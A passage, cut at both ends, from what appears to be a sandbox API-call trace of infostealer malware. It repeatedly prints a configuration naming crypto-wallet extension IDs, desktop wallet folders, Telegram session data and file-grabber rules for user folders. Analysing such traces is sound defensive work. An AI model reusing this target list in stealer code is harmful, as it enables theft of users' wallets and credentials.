Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.297] lstrlenW (lpString="daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3564 [0266.297] LocalAlloc (uFlags=0x40, uBytes=0x1c58) returned 0x6f4830 [0266.297] StrCpyW (in: psz1=0x7038b8, psz2="Daedalus Mainnet" | out: psz1="Daedalus Mainnet") returned="Daedalus Mainnet" [0266.297] LocalFree (hMem=0x6f4830) returned 0x0 [0266.298] StrStrW (lpFirst="*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.298] lstrlenW (lpString="daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3564 [0266.298] LocalAlloc (uFlags=0x40, uBytes=0x1c58) returned 0x6f4830 [0266.298] StrCpyW (in: psz1=0x6ef5a0, psz2="*" | out: psz1="*") returned="*" [0266.298] LocalFree (hMem=0x6f4830) returned 0x0 [0266.298] StrStrW (lpFirst="log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram 